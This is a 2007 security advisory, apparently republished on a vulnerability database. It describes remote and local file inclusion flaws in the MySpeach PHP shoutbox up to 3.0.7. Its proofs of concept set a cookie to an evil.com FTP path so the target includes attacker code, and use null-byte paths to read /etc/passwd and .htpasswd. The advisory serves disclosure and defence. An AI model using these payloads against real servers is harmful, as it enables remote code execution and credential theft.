Lucene search
K

MySpeach <= 3.0.7 - Remote/Local File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

MySpeach 3.0.7 - Remote/Local File Inclusion Vulnerability. PHP, chat without database, high risk

Code

                                                	/=======================================\
	| Advisory :: MySpeach &#60;= 3.0.7		|
	+=======================================+---------------------------------------------------------------\
	|													|
	|      Download link : http://www.graphiks.net/scripts-php/script-7-1-0.html				|
	|   Official website : www.graphiks.net									|
	|               Type : Chat without any database (only txt files)					|
	|        Vuln. found : Remote/Local File inclusion (& Full Path Disclosure)				|
	| 	  Conditions : Vuln #1 : PHP &#62;= 5.0.0, register_globals = On, allow_url_fopen = On		|
	|                      Vuln #2 : register_globals = On							|
	|	  Risk level : High										|
	|													|
	+-------------------------------------------------------------------------------------------------------+
	|													|
	| Program audited by : Xst3nZ &#60;[email protected]&#62; [fr/en]						|
	|               Date : 2007-04-03									|
	|	 Last update : 2007-04-03									|
	|													|
	+-------------------------------------------------------------------------------------------------------+
	| 	     Summary : 	0] Description									|
	|			1] Vuln#1 : Remote File Inclusion						|
	|			2] Vuln#2 : Local File Inclusion						|
	|			3] Links & Documentation							|
	\-------------------------------------------------------------------------------------------------------/

	
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 &#60;0&#62; DESCRIPTION
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  MySpeach is a shoutbox coded in PHP which works without any database. Indeed, it uses only text files to save the
messages. To my mind, it&#39;s a good script, but let&#39;s see the security, although there was a lot of different versions
to correct vulnerabilities.
So, the show must g0 on ...

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 &#60;1&#62; VULNERABILITY #1 : REMOTE FILE INCLUSION (WITH FULLPATHDISCL)

  { Cond: PHP&#62;=5.0.0; register_globals=On; allow_url_fopen=On }
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  Firstly, after the installation, the code which must be put in the page to display the shoutbox MySpeach is the
following :

+--------8&#60;--------
| &#60;?php
| $my_ms[&#39;root&#39;]=&#34;/full/path/myspeach&#34;; // Contains the realpath of the directory where myspeach is installed
| include($my_ms[&#39;root&#39;].&#39;/chat.php&#39;); // Then, the file &#39;chat.php&#39; is included
| ?&#62;
+--------8&#60;--------

  Let&#39;s see what is it interesting in the file &#39;chat.php&#39; :

+--------8&#60;--------
| // [...] line 15
| $clef = &#39;&#39;; $data = &#39;&#39;;
| $listedesvariablesensible = array(&#39;ip_list&#39;, &#39;my_ms[root]&#39;,&#39;my_ms[site]&#39;,&#39;my_ms[absolu_root]&#39;,&#39;my_ms[msg_txt]&#39;,
| &#39;my_ms[id_unique]&#39;,&#39;my_ms| [copyright]&#39;,&#39;my_ms[skin]&#39;,&#39;my_ms[version]&#39;);
| foreach($listedesvariablesensible as $clef =&#62; $data)
| {
| 	$afiltrer = $data;
|  	if(isset($_GET[$afiltrer]) || isset($HTTP_GET_VARS[$afiltrer]))
|  	{ 
|    		$_GET[$afiltrer] = &#39;&#39;;
|    		$HTTP_GET_VARS[$afiltrer] = &#39;&#39;;
|  	}
|  	if(isset($_POST[$afiltrer]) || isset($HTTP_POST_VARS[$afiltrer]))
|  	{ 
|   		$_POST[$afiltrer] = &#39;&#39;;
|    		$HTTP_POST_VARS[$afiltrer] = &#39;&#39;;
|  	}
| }
| // Line 32 [...]
+--------8&#60;--------

So this code filters all the variables $_GET/$HTTP_GET_VARS and $_POST/$HTTP_POST_VARS with a same name that the
variables which are used in the script, and it reinitializes their values. However, the vars $_COOKIE are not
filtered by this code.

  Besides, we can read the following code :

+--------8&#60;--------
| // [...] line 35
| if(!@file_exists($my_ms[&#39;root&#39;].&#39;/admin/config.php&#39;))
| exit(&#39;&#60;br /&#62;&#60;p align=&#34;center&#34;&#62;MySpeach n est pas encore installé.&#60;/p&#62;&#39;);
|
| //On inclut les fichiers de config (config files are included)
| include($my_ms[&#39;root&#39;].&#39;/admin/config.php&#39;);
| include($my_ms[&#39;root&#39;].&#39;/admin/options.php&#39;);
| include($my_ms[&#39;root&#39;].&#39;/admin/setup.php&#39;);
| include($my_ms[&#39;root&#39;].&#39;/admin/fonctions.php&#39;);
| // line 45 [...]
+--------8&#60;--------

The $my_ms[&#39;root&#39;] parameter can be overwritten with a cookie if register_globals = On in the &#39;php.ini&#39;, because
$my_ms[&#39;root&#39;] is not initialized (see [1]). Therefore, it can deals a Remote File Inclusion (RFI).
Nevertheless, the RMI will work only if the server is running on PHP &#62;= 5 because in this version, the file_exists()
function can be used with some URL wrappers (see [2] & [3]) if allow_url_fopen = On in the &#39;php.ini&#39; (ftp:// can be used for
example but not http://).

  +----&#62;&#62; Vuln. #1 Pro0f of Concept &#60;&#60;--------//
  |
  | - Create a cookie : 	| Name  : my_ms[root]
  |				| Value : ftp://user:[email protected]
  |				| Host  : www.victim.com
  | - Create a file called &#39;config.php&#39; in a folder called &#39;admin&#39; to obtain a path like that : evil.com/admin/config.php
  | - Then, go on the page : www.victim.com/[myspeach_install_directory(default: myspeach)]/chat.php
  |   * If you get the following error message : &#34;MySpeach n est pas encore installé.&#34;, the vulnerability cannot be
  |     exploited, probably because the version of PHP is under 5.0.0 and/or register_globals = Off and/or 
  |     allow_url_fopen = Off.
  |   * Else, the RFI will work and, in the same time, a lot of inclusion errors will appears because the script try
  |     to include another files like &#39;admin/options.php&#39;, &#39;admin/setup.php&#39; ... (but the RFI must be done with &#39;config.php&#39;
  |     because if file_exists($my_ms[&#39;root&#39;]) return false, the function exit() will be called ...).
  |     Particularly, it sparks a Full Path Disclosure :
  |
  [     Fatal error: Call to undefined function my_MS_plus_un() in /full/path/myspeach/chat.php on line [line]
  |
  +-------------------------------------------


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 &#60;2&#62; VULNERABILITY #2 : LOCAL FILE INCLUSION (WITH FULLPATHDISCL)

  { Cond: only register_globals=On }
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  It is also possible to include a local file by using the Null Byte char \x0 (urlencoded: %00). It will also spark a FullPathDiscl.

  +----&#62;&#62; Vuln. #2 Pro0f of Concept &#60;&#60;--------
  |
  | - See the Vuln#1 PoC, but change the value of the cookie created, by the path of a local file ended with %00.
  | Example : /etc/passwd%00; ../admin-panel/.htpasswd%00 ... and it will work if register_globals=On
  |
  +-------------------------------------------//


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 &#60;3&#62; LINKS & DOCUMENTATION
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 [1] register_globals Security
	http://www.php.net/manual/it/security.globals.php

 [2] file_exists() function
	http://www.php.net/manual/en/function.file-exists.php

 [3] List of Supported Protocols/Wrappers
	http://www.php.net/manual/en/wrappers.ftp.php
	and especially for FTP/FTPS: http://www.php.net/manual/en/wrappers.ftp.php
	(we also learn that HTTP/HTTPS protocols aren&#39;t supported by stat() and so, by file_exists() : 
	http://www.php.net/manual/en/wrappers.http.php)


// [EOF] Xst3nZ

# milw0rm.com [2007-04-03]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16